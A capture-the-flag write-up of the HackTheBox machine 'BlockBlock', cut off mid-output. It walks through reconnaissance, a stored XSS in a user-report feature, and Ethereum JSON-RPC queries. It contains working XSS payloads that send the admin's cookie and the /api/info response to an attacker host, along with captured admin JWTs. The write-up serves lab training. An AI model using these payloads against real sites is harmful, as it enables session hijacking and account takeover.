BlockBlock – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Summary Link to heading
“BlockBlock” is a Hard machine from HackTheBox
platform. The victim machine is running a web server which has a chatbot running. There is also an option vulnerable to XSS
, which allow us to extract an admin
token and use it to enter into a forbidden path. Once inside this internal path, we are able to extract data about blockchain running in the target machine. We are able to read its logs and extract SSH credentials for a user in the victim machine. Once inside, we are able to run forge
as another user; eventually allowing us to pivot to this second user. This second user can run pacman
in the victim machine as any user, which allow us to create a malicious package and install it to gain root
access.
User Link to heading
Nmap
scan only shows 3 ports open: 22
SSH
, 80
HTTP
and 8545
another HTTP
service:
❯ sudo nmap -sVC -p22,80,8545 10.10.11.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 22:57 -03
Nmap scan report for 10.10.11.43
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Wed, 18 Dec 2024 01:57:55 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 275864
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
<SNIP>
8545/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 BAD REQUEST
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Wed, 18 Dec 2024 01:57:55 GMT
| content-type: text/plain; charset=utf-8
| Content-Length: 43
| vary: origin, access-control-request-method, access-control-request-headers
| access-control-allow-origin: *
| date: Wed, 18 Dec 2024 01:57:55 GMT
| Connection: close
| Connection header did not include 'upgrade'
| HTTPOptions:
<SNIP>
Searching a little bit, port 8454
is related with Ethereum
blockchain; but nothing besides that.
Checking technologies being used at the site with WhatWeb
we get:
❯ whatweb -a 3 http://10.10.11.43
http://10.10.11.43 [200 OK] Access-Control-Allow-Methods[GET,POST,PUT,DELETE,OPTIONS], Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], Script, Title[Home - DBLC][Title element contains newline(s)!], UncommonHeaders[access-control-allow-origin,access-control-allow-headers,access-control-allow-methods], Werkzeug[3.0.3]
❯ whatweb -a 3 http://10.10.11.43:8545
http://10.10.11.43:8545 [400 Bad Request] Country[RESERVED][ZZ], HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], UncommonHeaders[access-control-allow-origin], Werkzeug[3.0.3]
Both sites seems to be running web pages using Flask
.
Visiting http://10.10.11.43
shows a webpage about blockchain:
If we create an account we can see a chatbot:
If we send different messages the bot does not respond. If we go to our user profile (clicking on Profile
) we can see:
Our user rol is user
and we also can see messages sent in the chat.
If we intercept the request sent to our profile with Burpsuite
we get the following HTTP request:
GET /profile HTTP/1.1
Host: 10.10.11.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.43/chat
DNT: 1
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4
Upgrade-Insecure-Requests: 1
We have a Jason Web Token
(JWT
). Checking its content in a page like https://token.dev/ we get:
But nothing seems to be useful at the moment.
If we open the webpage through Burpsuite
web browser, log in with our created account and start hanging around the site, eventually we can see that we have many requests to /api/info
path. Checking what we have if we request info using our JWT
we get:
❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq
{
"role": "user",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4",
"username": "gunzf0x"
}
But nothing besides that again.
If we check HTTP
site on port 8545
it asks for headers to properly work:
❯ curl -s http://10.10.11.43:8545
Connection header did not include 'upgrade'
And using the suggested headers we get:
❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade'
`Upgrade` header did not include 'websocket'%
❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade' -H 'Upgrade: websocket'
<!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
This does not seems to work.
If we go back to the chat with bot, at the very bottom part of the webpage we have the text Note: You can review our smart contracts anytime here
and redirects to:
http://10.10.11.43/api/contract_source
If we try to check it along with jq
:
❯ curl -s http://10.10.11.43/api/contract_source | jq
{
"msg": "Missing cookie \"token\""
}
It asks for a session. Since we have seen that the session is based on a JWT
, pass the token provided for our created user account:
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq
{
"Chat.sol": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\n// import \"./Database.sol\";\n\ninterface IDatabase {\n function accountExist(\n string calldata username\n ) external view returns (bool);\n\n function setChatAddress(address _chat) external;\n}\n\ncontract Chat {\n struct Message {\n string content;\n string sender;\n uint256 timestamp;\n }\n\n address public immutable owner;\n IDatabase public immutable database;\n\n mapping(string user => Message[] msg) internal userMessages;\n uint256 internal totalMessagesCount;\n\n event MessageSent(\n uint indexed id,\n uint indexed timestamp,\n string sender,\n string content\n );\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert(\"Only owner can call this function\");\n }\n _;\n }\n\n modifier onlyExistingUser(string calldata username) {\n if (!database.accountExist(username)) {\n revert(\"User does not exist\");\n }\n _;\n }\n\n constructor(address _database) {\n owner = msg.sender;\n database = IDatabase(_database);\n database.setChatAddress(address(this));\n }\n\n receive() external payable {}\n\n function withdraw() public onlyOwner {\n payable(owner).transfer(address(this).balance);\n }\n\n function deleteUserMessages(string calldata user) public {\n if (msg.sender != address(database)) {\n revert(\"Only database can call this function\");\n }\n delete userMessages[user];\n }\n\n function sendMessage(\n string calldata sender,\n string calldata content\n ) public onlyOwner onlyExistingUser(sender) {\n userMessages[sender].push(Message(content, sender, block.timestamp));\n totalMessagesCount++;\n emit MessageSent(totalMessagesCount, block.timestamp, sender, content);\n }\n\n function getUserMessage(\n string calldata user,\n uint256 index\n )\n public\n view\n onlyOwner\n onlyExistingUser(user)\n returns (string memory, string memory, uint256)\n {\n return (\n userMessages[user][index].content,\n userMessages[user][index].sender,\n userMessages[user][index].timestamp\n );\n }\n\n function getUserMessagesRange(\n string calldata user,\n uint256 start,\n uint256 end\n ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n require(start < end, \"Invalid range\");\n require(end <= userMessages[user].length, \"End index out of bounds\");\n\n Message[] memory result = new Message[](end - start);\n for (uint256 i = start; i < end; i++) {\n result[i - start] = userMessages[user][i];\n }\n return result;\n }\n\n function getRecentUserMessages(\n string calldata user,\n uint256 count\n ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n if (count > userMessages[user].length) {\n count = userMessages[user].length;\n }\n\n Message[] memory result = new Message[](count);\n for (uint256 i = 0; i < count; i++) {\n result[i] = userMessages[user][\n userMessages[user].length - count + i\n ];\n }\n return result;\n }\n\n function getUserMessages(\n string calldata user\n ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n return userMessages[user];\n }\n\n function getUserMessagesCount(\n string calldata user\n ) public view onlyOwner onlyExistingUser(user) returns (uint256) {\n return userMessages[user].length;\n }\n\n function getTotalMessagesCount() public view onlyOwner returns (uint256) {\n return totalMessagesCount;\n }\n}\n",
"Database.sol": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8.23;\n\ninterface IChat {\n function deleteUserMessages(string calldata user) external;\n}\n\ncontract Database {\n struct User {\n string password;\n string role;\n bool exists;\n }\n\n address immutable owner;\n IChat chat;\n\n mapping(string username => User) users;\n\n event AccountRegistered(string username);\n event AccountDeleted(string username);\n event PasswordUpdated(string username);\n event RoleUpdated(string username);\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert(\"Only owner can call this function\");\n }\n _;\n }\n modifier onlyExistingUser(string memory username) {\n if (!users[username].exists) {\n revert(\"User does not exist\");\n }\n _;\n }\n\n constructor(string memory secondaryAdminUsername,string memory password) {\n users[\"admin\"] = User(password, \"admin\", true);\n owner = msg.sender;\n registerAccount(secondaryAdminUsername, password);\n }\n\n function accountExist(string calldata username) public view returns (bool) {\n return users[username].exists;\n }\n\n function getAccount(\n string calldata username\n )\n public\n view\n onlyOwner\n onlyExistingUser(username)\n returns (string memory, string memory, string memory)\n {\n return (username, users[username].password, users[username].role);\n }\n\n function setChatAddress(address _chat) public {\n if (address(chat) != address(0)) {\n revert(\"Chat address already set\");\n }\n\n chat = IChat(_chat);\n }\n\n function registerAccount(\n string memory username,\n string memory password\n ) public onlyOwner {\n if (\n keccak256(bytes(users[username].password)) != keccak256(bytes(\"\"))\n ) {\n revert(\"Username already exists\");\n }\n users[username] = User(password, \"user\", true);\n emit AccountRegistered(username);\n }\n\n function deleteAccount(string calldata username) public onlyOwner {\n if (!users[username].exists) {\n revert(\"User does not exist\");\n }\n delete users[username];\n\n chat.deleteUserMessages(username);\n emit AccountDeleted(username);\n }\n\n function updatePassword(\n string calldata username,\n string calldata oldPassword,\n string calldata newPassword\n ) public onlyOwner onlyExistingUser(username) {\n if (\n keccak256(bytes(users[username].password)) !=\n keccak256(bytes(oldPassword))\n ) {\n revert(\"Invalid password\");\n }\n\n users[username].password = newPassword;\n emit PasswordUpdated(username);\n }\n\n function updateRole(\n string calldata username,\n string calldata role\n ) public onlyOwner onlyExistingUser(username) {\n if (!users[username].exists) {\n revert(\"User does not exist\");\n }\n\n users[username].role = role;\n emit RoleUpdated(username);\n }\n}\n"
}
We can see some functions at Chat.sol
and Database.sol
properties.
We can play with jq
and extract their content. Content for Database.sol
seems interesting:
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]'
and get:
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
interface IChat {
function deleteUserMessages(string calldata user) external;
}
contract Database {
struct User {
string password;
string role;
bool exists;
}
address immutable owner;
IChat chat;
mapping(string username => User) users;
event AccountRegistered(string username);
event AccountDeleted(string username);
event PasswordUpdated(string username);
event RoleUpdated(string username);
modifier onlyOwner() {
if (msg.sender != owner) {
revert("Only owner can call this function");
}
_;
}
modifier onlyExistingUser(string memory username) {
if (!users[username].exists) {
revert("User does not exist");
}
_;
}
constructor(string memory secondaryAdminUsername,string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
function accountExist(string calldata username) public view returns (bool) {
return users[username].exists;
}
function getAccount(
string calldata username
)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
return (username, users[username].password, users[username].role);
}
function setChatAddress(address _chat) public {
if (address(chat) != address(0)) {
revert("Chat address already set");
}
chat = IChat(_chat);
}
function registerAccount(
string memory username,
string memory password
) public onlyOwner {
if (
keccak256(bytes(users[username].password)) != keccak256(bytes(""))
) {
revert("Username already exists");
}
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
function deleteAccount(string calldata username) public onlyOwner {
if (!users[username].exists) {
revert("User does not exist");
}
delete users[username];
chat.deleteUserMessages(username);
emit AccountDeleted(username);
}
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
if (
keccak256(bytes(users[username].password)) !=
keccak256(bytes(oldPassword))
) {
revert("Invalid password");
}
users[username].password = newPassword;
emit PasswordUpdated(username);
}
function updateRole(
string calldata username,
string calldata role
) public onlyOwner onlyExistingUser(username) {
if (!users[username].exists) {
revert("User does not exist");
}
users[username].role = role;
emit RoleUpdated(username);
}
}
This is a code written in Solidity
, a programming language used for writing smart contracts on Ethereum
blockchains. One function that catches my attention is updateRole
, which can promote the role of a user to admin
. We have to save both codes (for Chat.sol
and Database.sol
), since they will be useful later.
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]' > Database.sol
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Chat.sol"]' > Chat.sol
Everything seems to point that we need to interact with service at port 8545
for blockchain/Ethereum
service. Searching a little bit about the upgrade
error in the header for this port we find this StackOverflow post. There they talk about a tool called Ganache
. Searching for that tool we find this post explaining what this tool does.
Back to the main website we have a Report User
button in the bot chat. If we click on it and send anything random we get:
So there might be an admin checking our message sent. What if we attempt to send a XSS
payload and attempt to extract its cookie?
First, just check if a simple XSS
attack works. First, start a simple HTTP
server with Python
on port 8000
:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Eventually, one of the XSS
payload works:
<img src=x onerror=this.src="http://10.10.16.3:8000/xss.js?"+document.cookie>
and we get some responses:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [18/Dec/2024 00:30:23] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:23] "GET /xss.js? HTTP/1.1" 404 -
10.10.11.43 - - [18/Dec/2024 00:30:24] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:24] "GET /xss.js? HTTP/1.1" 404 -
The payload worked.
We can then try the following: First, the person that is victim of XSS
visits /api/info
path and, then, send that response to our attacker machine. After some attempts, we manage to do this with:
<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.text();}).then(dataFromAPI => {return fetch(`http://10.10.16.3:8888/?data=${dataFromAPI}`)})">
Where we have changed the port attack to 8888
(since the machine keeps sending the first XSS
payload that worked and it’s annoying).
Start a Python
HTTP
server as we did before, and send the payload from above. We get then:
❯ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.43 - - [18/Dec/2024 00:26:42] "GET /?data={%22role%22:%22admin%22,%22token%22:%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg%22,%22username%22:%22admin%22} HTTP/1.1" 200 -
and decoding it we get:
"role":"admin",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
"username":"admin"
As we did before, check the content of this token at https://token.dev/:
We got an admin
token.
admin
JWT
expires after some minutes, so we might need to apply again XSS
attack to obtain a new tokenWe can check this with /api/info
as well:
❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg' | jq
{
"role": "admin",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
"username": "admin"
}
Go to a browser like Firefox
, go to Profile
and replace the current JWT
with the extracted JWT
. We are now admin
user:
At the top right side, we can see an Admin
tab. That is new. Clicking on it redirects to http://10.10.11.43/admin
. We have a new dashboard. Going to Users
tab shows 2 users: one is our created user and the other is a new one called keira
:
But this user does not show anything interesting.
If we check the source code of the webpage we have something:
(async () => {
const jwtSecret = await (await fetch('/api/json-rpc')).json();
const web3 = new Web3(window.origin + "/api/json-rpc");
const postsCountElement = document.getElementById('chat-posts-count');
let chatAddress = await (await fetch("/api/chat_address")).text();
let postsCount = 0;
chatAddress = (chatAddress.replace(/[\n"]/g, ""));
// })();
// (async () => {
// let jwtSecret = await (await fetch('/api/json-rpc')).json();
let balance = await fetch(window.origin + "/api/json-rpc", {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": jwtSecret['Authorization'],
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBalance",
params: [chatAddress, "latest"],
id: 1
})
});
let bal = (await balance.json()).result // || '0';
console.log(bal)
document.getElementById('donations').innerText = "$" + web3.utils.fromWei(bal,
'ether')
})();
async function DeleteUser() {
let username = document.getElementById('user-select').value;
console.log(username)
console.log('deleting user')
let res = await fetch('/api/delete_user', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: username
})
})
}
The page is calling /api/json-rpc
and obtaining an Authorization
parameter.
Searching what is this feature we get:
JSON-RPC
is a simple remote procedure call protocol encoded in JSON
(Extensible Markup Language), over the HTTP
1.1 protocol. The Ethereum
JSON-RPC
API is implemented as a set of Web3
object methods that allow clients to interact with the Ethereum
blockchain.This video also provides an excellent explanation about it as well. We also find this page designed to deal with this API and its different methods. From the web page source code, the method is eth_getBalance
.
Checking what we get if we use this API with admin
JWT
we get:
❯ curl -s 'http://10.10.11.43/api/json-rpc' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'
{"Authorization":"cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"}
We get an Authorization
value.
Checking /chat_address
(the other route being used by the custom dashboard) we get:
❯ curl -s 'http://10.10.11.43/api/chat_address' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'
"0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"
I tried to execute this with cURL
but did not work (later, I realized this was because we need to pass the Authentication
value found and the JWT
). Instead, we can go to our internet browser (Firefox
in my case), go to Console
(Ctrl+Shift+I
) and paste the code found in the source code, but using the values found:
fetch('http://10.10.11.43/api/json-rpc', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBalance",
params: ["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"],
id: 1
})
})
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => {
console.error('Error:', error);
});
We got as response 0x0
(0
in hexadecimal).
cURL
to the API we must use the JWT
for admin
and the Authorization
value found. For example:❯ curl -X POST http://10.10.11.43/api/json-rpc \
-H "Content-Type: application/json" \
-H "token:f30c7cdeb9a34b8314355fb7acdab42ea7cfde2264b942fa72ccf37f4b3ff9d2" \
--cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTU3NjY1NywianRpIjoiMWZkN2I4NTEtMGQwNS00Njg2LTkzZjItMGI0NmQ3NGVlNmU3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQxNTc2NjU3LCJleHAiOjE3NDIxODE0NTd9.MhOpHxCxUnvW48PkSFnfHPV6J5gdHri0zH0lPM5Ld-E" \
-d '{
"jsonrpc": "2.0",
"method": "eth_getTransactionByHash",
"params": ["0x95125517a48dcf4503a067c29f176e646ae0b7d54d1e59c5a7146baf6fa93281"],
"id": 1
}'
Based on the previous page we have shown, we have many methods. But they are not all the methods available, we can find them all at Ethereum.org official documentation or in this page. However, we must first ask ourselves, what is a block
in Ethereum
?
Ethereum
, a block is a collection of transactions and other data that are added to the Ethereum
blockchain.To check blocks we have to change the method specified. The structure is usually the same as the snippet of code we have previously shown. The only 2 things that changes are the method
specified, and parameters
needed by the respective method. Among them we have the method eth_blockNumber
that returns the number of the most recent block as is explained here:. It does not require parameters
, so we just replace:
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_blockNumber",
params: [],
id: 1
})
In the code snippet from above, paste that into Firefox
console developer and obtain:
We got as block number 0xf
.
After inspecting the functions, we can see eth_getBlockByNumber
. Based on its documentation, and as its name says, it returns information about a block based on its number. Since the block number was 0xf
, change the method
and pass as parameters:
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBlockByNumber",
params: ["0xf", true],
id: 1
})
Running it shows a lot of output. From the documentation we can see there is an Input
value that should show all the data sent along the transaction. In our case we find it at:
and get:
0x467fba0f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000767756e7a6630780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000
Now, we need something called .abi
files to see the text. Searching, there is a tool that passes .sol
files (that’s why we needed to save Chat.sol
and Database.sol
files) called solc
. We can install it with npm
:
❯ sudo npm install -g solc
added 9 packages in 4s
and use it to pass .sol
to .abi
files:
❯ /usr/local/bin/solcjs --abi Database.sol --bin --optimize -o Database.abi
❯ ls -la Database.abi
total 28
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec 18 02:22 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Dec 18 02:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 2319 Dec 18 02:22 Database_sol_Database.abi
-rw-rw-r-- 1 gunzf0x gunzf0x 12052 Dec 18 02:22 Database_sol_Database.bin
-rw-rw-r-- 1 gunzf0x gunzf0x 160 Dec 18 02:22 Database_sol_IChat.abi
-rw-rw-r-- 1 gunzf0x gunzf0x 0 Dec 18 02:22 Database_sol_IChat.bin
❯ /usr/local/bin/solcjs --abi Chat.sol --bin --optimize -o Chat.abi
For example, for Chat_sol_Chat.abi
generated file we get:
❯ cat Chat_sol_Chat.abi
[{"inputs":[{"internalType":"address","name":"_database","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"},{"indexed":false,"internalType":"string","name":"sender","type":"string"},{"indexed":false,"internalType":"string","name":"content","type":"string"}],"name":"MessageSent","type":"event"},{"inputs":[],"name":"database","outputs":[{"internalType":"contract IDatabase","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"deleteUserMessages","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"getRecentUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserMessage","outputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct 